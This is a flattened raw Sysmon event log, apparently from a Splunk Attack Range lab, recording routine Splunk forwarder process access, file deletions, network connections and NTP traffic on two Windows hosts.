Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E634E59C210BADE3A06C084C35DD832C,SHA256=19A4423263D000C6E1F00080C4EA58DF2DB88767E768F5EA506BA701C900066F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018222Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74F4-613B-4305-00000000F101}2776C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018221Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018220Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018219Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018218Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018217Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018216Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018215Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018214Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018213Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018212Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74F4-613B-4305-00000000F101}2776C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018211Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.280{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74F4-613B-4305-00000000F101}2776C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018210Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:36.284{625C326B-74F4-613B-4305-00000000F101}2776C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018227Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:37.342{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D28569CA7AA58CFDD79D4EA325A078C1,SHA256=5ECA5DEB6F1DD34B89AA0BBDA656A3D485E78C625DEC0EFE408391041A5B826F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018226Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:37.311{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5006F614F9CE5D80E2B6F6E6F6901CA,SHA256=C9C03EEF7282CE46E9C2621C8F27037A5291B4FA171872AA3369FAF414A75F25,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:37.104{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FF525D518A9E359DB743D9EEA9ACC6F,SHA256=046AE3F8FFEC0D3C41C48AD66A6B003C0476875BAEC1077E884418EE9181706A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018225Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:35.460{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50410-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018228Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:38.342{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF9264D09CAF5BFE6270C29E2F915E35,SHA256=B07873FF12FC971AA74F6EABC8C68AC9E3FFFD618F86F24BD8E3BB6AD5788AA8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:38.153{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B69E84B396A8B4906E37C6F7DDABAA6E,SHA256=DCDAE7AE1257B94F6DCA7A670732C22936AA5802E7CEBBAEC863861BC134E8C6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018229Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:39.358{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=14F7CCA909A974119567ABD2A303A794,SHA256=5395FDAC1BE2D443BDFD1D782739ED3E4E354EDF410440B9C90E841ED09A979F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:39.167{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=258D3FB17857F053DF6306EF30CD3927,SHA256=F89802111F94888AF70E645C8E19292C2DA1E265F15A012D2D399BE4809B5A76,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018230Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:40.374{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BEC410B95D4E2EA9F9F659E4E61F6D38,SHA256=EAD9681C5B1D4E211F3F0E9DCCDC7CB08CB1800008309473A010AAE161943712,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:37.526{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63179-false10.0.1.12-8000- 23542300x800000000000000056734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:40.182{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB1FA44025E6CA4DF61FD60FDC057326,SHA256=106203EE0591C9EA70E7B761A0552792BD9097E12728EC73BE7E8AA64F722E57,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018231Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:41.389{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F05596B5AA64B8C546E0E60C05A1994C,SHA256=008BB0ABC7BEE5691EB96D8DEDFB2B4BCA602DE18D375F40794D293FB4F93475,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:41.182{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DC17DD6EBD786D1D4B0076B3E08A615,SHA256=7BFC2885A56E62165FA887BB352B4BDF0DF9847C764225F92F3F6F2A7063F2C9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018234Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:42.452{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=54E8AE8BA76FE2D3A25FEE336547862F,SHA256=457B06F829F3192CB6D6C917FD7CC514021876C6D0FA9E89710471F63F635DAE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:42.198{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=003D640733AE70741E5256788C72BE28,SHA256=9332B13119EC2F9DF2B693B58595824F7ADB0AA290AFE74D9ECC69756660118E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018233Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:40.493{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50411-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 13241300x800000000000000018232Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:08:42.124{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a655-0xbe066b1b) 23542300x800000000000000018235Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:43.483{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C58CCA12BCF33057E581241FEF9B613C,SHA256=3FAC33FB79D51B9C0B90A76CEB52BDCCDFB240590E96D36C26140CA314431CB0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:43.217{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=172790F40E52FA86F58BCA43DCAD3CA4,SHA256=E3A645144CE1D5A21FA254373BBD3EEF070DDC0C79DEEF65597C2999E05523CB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018238Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:44.514{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DAFDDFC253ECD9EE3978254405E73D3,SHA256=990D1B1530A6DB3C111C33401E9ADF010262EB81CC7CECAC8E56E3076D0D05CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:44.217{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B4A985033F0E4D116B97CA1E6E07977,SHA256=9D33B37C6525D79ECD0D42447BE6AEAF57FB3271A4044B970134D02AC3D4EA6D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018237Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:42.428{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.15win-host-166.attackrange.local123ntpfalse20.101.57.9-123ntp 354300x800000000000000018236Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:42.428{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.15win-host-166.attackrange.local123ntpfalse10.0.1.14-123ntp 23542300x800000000000000018239Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:45.530{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=79B5D723D0250E811EC1C5627AC62EF4,SHA256=1407A2CFA810E14DD23DA885CCCB9CCE036E6CC759EA1D55568BCC53D441270A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:43.521{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63180-false10.0.1.12-8000- 23542300x800000000000000056740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:45.231{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80190FDD088DEDC4E90A98C7ADBBA359,SHA256=A83CD7A6A1C0DB70B5D57B5C5869C7F91AB80BD8B721082673BA273E3B69BF9F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018240Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:46.577{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D5997D6847C3D999E3AB23FE412FC16,SHA256=DEC780530861575DE7F856953BF92EFAC9675714B94090214C0FC5628A39C122,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:46.246{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 